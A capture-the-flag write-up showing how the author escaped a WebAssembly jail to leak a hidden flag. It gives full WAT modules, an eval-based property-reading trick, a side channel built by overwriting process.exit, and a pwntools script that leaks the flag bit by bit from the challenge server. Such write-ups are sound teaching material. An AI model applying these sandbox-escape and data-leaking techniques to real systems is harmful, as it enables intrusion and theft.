# WolvCTF 2025 Writeups ## Wasm 4 ### Challenge Breakdown Wasm 4 is a WebAssembly jail with a simple premise: you are allowed to write any WebAssembly module; you are given the object `{ 'i': globalThis }` as your imports, meaning you can import anything from `globalThis`; your goal is to call the `win` function, as follows. ```javascript=10 function win(key) { if (key === '🥺') { console.log("wctf{redacted-flag}"); } } globalThis.win = win; ``` If we can somehow, from WebAssembly, construct the string `'🥺'` and pass it to `win`, we get the flag. ### WebAssembly References At first, I had no idea how to approach this challenge. To keep it brief, I spent the first few hours staring at JavaScript and WebAssembly docs, until I discovered the WebAssembly `externref` type. `externref` is a type from the [Reference Types proposal](https://github.com/WebAssembly/reference-types/blob/master/proposals/reference-types/Overview.md) that represents an opaque JavaScript object. WebAssembly cannot modify or interact with these objects, but it can hold these objects on its stack and pass them to and fro JavaScript. `externref` is critical to this challenge, it means we can actually work with JavaScript objects to an extent. As an aside, when I first discovered the Reference Types proposal, I looked for other WebAssembly proposals that might be useful. I found the [Reference-Typed Strings proposal](https://github.com/WebAssembly/stringref/blob/main/proposals/stringref/Overview.md), which allows WebAssembly to directly work with, modify, and create JavaScript strings. So... challenge solved? Well, I tried writing a small test solve with this locally, and unfortunately... ``` Compiling function #4 failed: Invalid opcode 0xfb (enable with --experimental-wasm-stringref) ``` Luckily, however, the Reference Types proposal works out-of-the-box. ### The Gameplan At this point, my plan looked like this: 1. Somehow call `String.fromCharCode` to get the winning string. 2. Call `win`. With WebAssembly, all imports are in the form of `module.name`. That is, since our imports object is `{ 'i': globalThis }`, we could import, say, the function `eval` from `globalThis` by using `"i"` as our module and `"eval"` as our name. Unfortunately, WebAssembly does not allow hierarchical module names. We *cannot* import `String.fromCharCode` by using `"i.String"` as our module and `"fromCharCode"` as our name. If we want to call `String.fromCharCode`, we will have to first somehow read the property `fromCharCode` from `String`, then call it. ### Reading Object Properties (part 1) Reading object properties will have to take place purely through JavaScript function calls, as that is the only way we can interact with JavaScript objects from WebAssembly. So, we will have to find some useful built-in functions to work with. From experience, I know that all JavaScript objects have several built-in properties like `constructor` and `__proto__`. This means that, although our imports object, `{ 'i': globalThis }`, is only explicitly defined as having the module `"i"` , we can also use the built-in properties of the imports object as modules to import functions from. This gives us a few more options in terms of functions we can use. I wrote a tiny script based off [this gist](https://gist.github.com/SHoar/b4ed022158ef9ab494bb9784d025716d) to list all importable functions available. The functions that immediately stood out to me were: 1. `globalThis.decodeURI`, `globalThis.decodeURIComponent`, `globalThis.encodeURI`, `globalThis.encodeURIComponent`, `globalThis.escape`, and `globalThis.unescape`. These can all modify strings. 2. `globalThis.eval`. If we can somehow craft a string containing JavaScript code, we win. But, crafting a string containing the right JavaScript code is no easier than crafting our target string `'🥺'`. 3. `globalThis.atob`. If we can somehow craft the Base64-encoded version of `'🥺'`, we can decode it with `atob`. But again, crafting the Base64-encoded version is no easier than crafting `'🥺'`. 4. `globalThis.btoa`. `btoa` encodes an input value in Base64. 5. `{}.__lookupGetter__.call`. This method seems useful for reading object properties, but is actually completely useless for our purposes. `__lookupGetter__` only returns something if there is a getter function defined for a property. Most properties, including the property `String.fromCharCode`, are not defined with getter functions. 7. `{}.constructor.getOwnPropertyDescriptor`, `{}.constructor.defineProperty`, and `{}.constructor.getOwnPropertyNames`. Bingo! [`Object.getOwnPropertyDescriptor`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor) takes two parameters: an object and a string containing a property name. It returns a [property descriptor]( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor#description), which looks like this (example from [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor#examples)): ```javascript let o, d; o = { bar: 42 }; d = Object.getOwnPropertyDescriptor(o, "bar"); console.log(d); // { // configurable: true, // enumerable: true, // value: 42, // writable: true // } ``` `Object.defineProperty` is similar to `Object.getOwnPropertyDescriptor`, but instead of reading a property descriptor, it writes a property based off a property descriptor. `Object.getOwnPropertyNames` takes in an object and returns an array of all names of properties defined by that object. This is certainly a step in the right direction in terms of reading object properties. But, because `getOwnPropertyDescriptor` returns a property *descriptor* rather than just the property value itself, we still cannot access the property value from WebAssembly. We would have to somehow do *another* property read, this time reading the `.value` property from the property descriptor itself to get the original property's value. ### Reading Object Properties (part 2) This seems like a dead-end, because we now need to be able to read a property in order to read a property. However, I realized that by combining a few tactics, we *are* in fact able to read properties with this method. Here's what I figured out: 1. Generate a string that is a valid JavaScript identifier. We can use `btoa` for this. We will assign this string to the local variable `$str1`. 2. Call `Object.getOwnPropertyDescriptor`. We will assign this descriptor to the local variable `$descriptor`. 3. Call `Object.defineProperty(globalThis, $str1, $descriptor)`. 4. Call `eval($str1)`. The return value is our target property's value! To understand more concretely why this works, here's an example JavaScript implementation of this concept: ```javascript const obj = { val: 42 }; const property = 'val'; // We want to read obj.val const str1 = btoa(123); console.log(str1); // outputs: 'MTIz' const descriptor = Object.getOwnPropertyDescriptor(obj, property); console.log(descriptor); // outputs: { value: 42, ... } Object.defineProperty(globalThis, str1, descriptor); console.log(globalThis.MTIz); // outputs: 42 console.log(MTIz); // outputs: 42 // (this works because all global variables in JavaScript are implicitly // properties of globalThis) console.log(eval('MTIz')); // outputs: 42 console.log(eval(str1)); // outputs: 42 ``` For future clarity, I will be referring to this technique used to read properties as the Property-Reading Method. We can also copy properties from object A to object B with a variant of the Property-Reading Method, where instead of calling `Object.defineProperty` on `globalThis`, we call it on object B. I will be referring to this technique as the Property-Copying Method. To be pedantic, we also skip the `btoa` and `eval` calls in the Property-Copying Method. ### Reading Object Properties (part 3) The Property-Reading Method certainly works, but it has one caveat: we first need to somehow get the property's name as a string. Fortunately, this is not too difficult, thanks to the `Object.getOwnPropertyNames` function. We first call `Object.getOwnPropertyNames`, which, as previously stated, takes in an object and returns an array of all names of properties defined by that object. Then, we can use our Property-Reading Method on the returned array itself to index into it. This works because, in JavaScript, elements of an array are considered as "properties" with their numeric index as their "property name." However, unlike strings, we are able to arbitrary construct numbers from WebAssembly to use as the "property name." Now, putting everything together, this is our strategy to read the property `String.fromCharCode`, in JavaScript form: ```javascript const str1 = btoa(123); console.log(str1); // 'MTIz' const names = Object.getOwnPropertyNames(String); console.log(names); // [ // 'length', // 'name', // 'prototype', // 'fromCharCode', // 'fromCodePoint', // 'raw' // ] const descriptor1 = Object.getOwnPropertyDescriptor(names, 3); console.log(descriptor1); // { value: 'fromCharCode', ... } Object.defineProperty(globalThis, str1, descriptor1); console.log(MTIz); // 'fromCharCode' const fromCharCodeStr = eval(str1); console.log(fromCharCodeStr); // 'fromCharCode' const descriptor2 = Object.getOwnPropertyDescriptor(String, fromCharCodeStr); console.log(descriptor2); // { value: [Function: fromCharCode], ... } Object.defineProperty(globalThis, str1, descriptor2); console.log(MTIz); // [Function: fromCharCode] const fromCharCode = eval(str1); console.log(fromCharCode); // [Function: fromCharCode] ``` In WebAssembly form: ```wat (module (import "i" "globalThis" (global $globalThis externref)) (import "i" "String" (global $String externref)) (import "i" "eval" (func $eval (param externref) (result externref))) (import "i" "btoa" (func $btoa (param i32) (result externref))) (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptorNum (param externref) (param i32) (result externref))) (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref))) (import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref))) (import "constructor" "defineProperty" (func $defineProperty (param externref) (param externref) (param externref))) (func (export "main") (result externref) (local $str1 externref) (local $names externref) (local $descriptor1 externref) (local $descriptor2 externref) (local $fromCharCodeStr externref) (local $fromCharCode externref) ;; const str1 = btoa(123); i32.const 123 call $btoa local.set $str1 ;; const names = Object.getOwnPropertyNames(String); global.get $String call $getOwnPropertyNames local.set $names ;; const descriptor1 = Object.getOwnPropertyDescriptor(names, 3); local.get $names i32.const 3 call $getOwnPropertyDescriptorNum local.set $descriptor1 ;; Object.defineProperty(globalThis, str1, descriptor1); global.get $globalThis local.get $str1 local.get $descriptor1 call $defineProperty ;; const fromCharCodeStr = eval(str1); local.get $str1 call $eval local.set $fromCharCodeStr ;; const descriptor2 = Object.getOwnPropertyDescriptor(String, fromCharCodeStr); global.get $String local.get $fromCharCodeStr call $getOwnPropertyDescriptor local.set $descriptor2 ;; Object.defineProperty(globalThis, str1, descriptor2); global.get $globalThis local.get $str1 local.get $descriptor2 call $defineProperty ;; const fromCharCode = eval(str1); local.get $str1 call $eval local.set $fromCharCode ;; return fromCharCode for debugging purposes local.get $fromCharCode return ) ) ``` If we patch the challenge to print out the return value of `main`, then assemble and run our program locally... ``` > wat2wasm.exe wasm4.wat > node 4.js >>> 0061736d0100000001210660016f016f60017f016f60026f7f016f60026f6f016f60036f6f6f006000016f02bc010801690a676c6f62616c54686973036f00016906537472696e67036f000169046576616c000001690462746f6100010b636f6e7374727563746f72186765744f776e50726f706572747944657363726970746f7200020b636f6e7374727563746f72186765744f776e50726f706572747944657363726970746f7200030b636f6e7374727563746f72136765744f776e50726f70657274794e616d657300000b636f6e7374727563746f720e646566696e6550726f7065727479000403020105070801046d61696e00060a42014001066f41fb0010012100230110042101200141031002210223002000200210052000100021042301200410032103230020002003100520001000210520050f0b [Function: fromCharCode] ``` Hooray! We now have `String.fromCharCode`. All that's left is to call it and win! ### Not Quite... When I first looked at the Reference Types proposal, I had seen some talk of a `call_ref` instruction, and just assumed that this instruction meant that we if we had a JavaScript function in an `externref` value, we could call it. Well. Turns out, `call_ref` is for another reference type called `funcref`, not `externref`. And `funcref` can only refer to WebAssembly functions, not JavaScript ones. Damn. We have `String.fromCharCode`, but no way to call it. I looked for a bit for built-in JavaScript functions that would take in a function as a parameter, call it for me, and return the return value, but did not find any such functions that were accessible to import. However, I did notice this suspicious little call to `process.exit` after our WebAssembly code is run. Here is the full snippet from the challenge source: ```javascript=18 let wasmMod = new WebAssembly.Module(new Uint8Array(parseHex(result))); let instance = new WebAssembly.Instance(wasmMod, { 'i': globalThis }); instance.exports.main(); process.exit(0); ``` We know how to copy properties from one object to another. So, theoretically, we could overwrite `process.exit` with another function to invoke it with the argument `0`. This is not very useful, though. To get our winning string, we need to invoke `String.fromCharCode` with the argument `55358`, not `0`. Furthermore, we would need to somehow get the return value, and subsequently call `win` with it. ### Side-channeling? Overwriting `process.exit`, however, does allow us to do one very powerful thing: exfiltrate information from our WebAssembly code. We can exfiltrate exactly one bit of information, and here's how: 1. To exfiltrate the bit `0`, do nothing. 2. To exfiltrate the bit `1`, use our Property-Copying Method to overwrite `process.exit` with `console.log`, so that a `0` is printed to the console. We will know what the exfiltrated bit is by whether or not something is printed to the console. In essence, side-channeling. Realizing that we can exfiltrate a single bit made me realize that there is a way to solve this challenge without calling `win`. ### Side-channeling. From experience, I know that in JavaScript, stringifying a function will return its source code. This means that if we stringify the `win` function, the resulting string will contain the flag. We can read out a flag character from the `win` function's source code, then exfiltrate the character bit-by-bit. Rinse and repeat for the remaining characters, and we win. In JavaScript, our solution looks like this: ```javascript const charIndex = 64; const mask = 0x01; // We want to exfiltrate the bit (win.toString()[charIndex] & mask) const str1 = btoa(123); const str2 = btoa(124); const winSource = unescape(win); // Use unescape to stringify. // Property-Reading Method to read winSource[charIndex] Object.defineProperty(global, str1, Object.getOwnPropertyDescriptor( winSource, charIndex )); // Property-Reading Method to read Buffer(winSource[charIndex])[0] // // This is necessary to convert our char from a string to its char code. // // Also, from here on out, str2 will be used instead of str1 because the // property descriptor of winSource[charIndex] is not configurable, so we // cannot redefine global[str1]. Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor( Buffer(eval(str1)), 0 )) if ((eval(str2) & mask) !== 0) { // Our bit is a 1, so we need to overwrite process.exit with // console.log // Property-Reading Method to get string "log" Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor( Object.getOwnPropertyNames(console), 0 )); const logStr = eval(str2); // Property-Reading Method to get string "exit" Object.defineProperty(global, str2, Object.getOwnPropertyDescriptor( Object.getOwnPropertyNames(process), 31 )); const exitStr = eval(str2); // Property-Copying Method to assign console.log to process.exit Object.defineProperty(process, exitStr, Object.getOwnPropertyDescriptor( console, logStr )); } ``` Now, we just write a WebAssembly version, attach a small Python program to build up the flag bit-by-bit, and voila! `wctf{pr0l1f1c_1mp0rt3r}` ### Solve Scripts ```wat (module (import "i" "global" (global $global externref)) (import "i" "console" (global $console externref)) (import "i" "process" (global $process externref)) (import "i" "win" (global $win externref)) (import "i" "Buffer" (func $Buffer (param externref) (result externref))) (import "i" "unescape" (func $unescape (param externref) (result externref))) (import "i" "eval" (func $evalInt (param externref) (result i32))) (import "i" "eval" (func $eval (param externref) (result externref))) (import "i" "btoa" (func $btoa (param i32) (result externref))) (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptorNum (param externref) (param i32) (result externref))) (import "constructor" "getOwnPropertyDescriptor" (func $getOwnPropertyDescriptor (param externref) (param externref) (result externref))) (import "constructor" "getOwnPropertyNames" (func $getOwnPropertyNames (param externref) (result externref))) (import "constructor" "defineProperty" (func $defineProperty (param externref) (param externref) (param externref) (result externref))) (func (export "main") (local $str1 externref) (local $str2 externref) (local $winSource externref) (local $logStr externref) (local $exitStr externref) i32.const 123 call $btoa local.set $str1 i32.const 124 call $btoa local.set $str2 global.get $win call $unescape local.set $winSource ;; read char from source global.get $global local.get $str2 global.get $global local.get $str1 local.get $winSource i32.const 0x1337 call $getOwnPropertyDescriptorNum call $defineProperty drop local.get $str1 call $eval call $Buffer i32.const 0 call $getOwnPropertyDescriptorNum call $defineProperty drop local.get $str2 call $evalInt ;; mask bit we want to side channel i32.const 0x1338 i32.and ;; side channel bit (if (then ;; bit is a 1, print a 0 ;; get string "log" global.get $global local.get $str2 global.get $console call $getOwnPropertyNames i32.const 0 call $getOwnPropertyDescriptorNum call $defineProperty drop local.get $str2 call $eval local.set $logStr ;; get string "exit" global.get $global local.get $str2 global.get $process call $getOwnPropertyNames i32.const 0x1339 call $getOwnPropertyDescriptorNum call $defineProperty drop local.get $str2 call $eval local.set $exitStr ;; assign console.log to process.exit global.get $process local.get $exitStr global.get $console local.get $logStr call $getOwnPropertyDescriptor call $defineProperty drop ) (else ;; bit is a 0, do nothing nop ) ) ) ) ``` ```python import pwn # wctf{pr0l1f1c_1mp0rt3r} pwn.context.log_level = 'error' payload = open('wasm4.wasm', 'rb').read() codeIndex = payload.rindex(bytes.fromhex('0A')) payloadStart = payload[:codeIndex] templateCode = payload[codeIndex + 4:] def leb128(n: int): result = b'' while True: byte = n & 0x7f n >>= 7 if (n == 0 and byte & 0x40 == 0) or (n == -1 and byte & 0x40 != 0): result += bytes([byte]) break result += bytes([byte | 0x80]) return result def generatePayload(i: int, mask: int, t: int): code = templateCode.replace(leb128(0x1337), leb128(i)).replace(leb128(0x1338), leb128(mask)).replace(leb128(0x1339), leb128(t)) code = bytes.fromhex('01') + leb128(len(code)) + code payload = payloadStart + bytes.fromhex('0A') + leb128(len(code)) + code return payload def sideChannelChar(index: int): c = 0 for i in range(7): r = pwn.remote('wasm4.kctf-453514-codelab.kctf.cloud', 1337) r.sendlineafter(b'>>> ', generatePayload(index, 1 << i, 31).hex().encode()) try: r.recvline() c |= 1 << i except EOFError: pass r.close() return chr(c) i = 64 while True: print(sideChannelChar(i), end='') i += 1 ``` ### The Intended Solution I think it's quite obvious here that completely bypassing the calling of the `win` function is not intended. Here's the intended solution: ```wat (module (import "i" "win" (func $win (param externref))) (import "i" "Array" (func $Array (param i32 i32 i32 i32) (result externref))) (import "i" "Buffer" (func $Buffer (param externref) (result externref))) (import "i" "String" (func $String (param externref) (result externref))) (func (export "main") i32.const 0xf0 i32.const 0x9f i32.const 0xa5 i32.const 0xba call $Array ;; Array(0xf0, 0x9f, 0xa5, 0xba) call $Buffer ;; Buffer(Array(...)) call $String ;; String(Buffer(...)) call $win ) ) ``` Yeah... so I might've overcomplicated this a bit.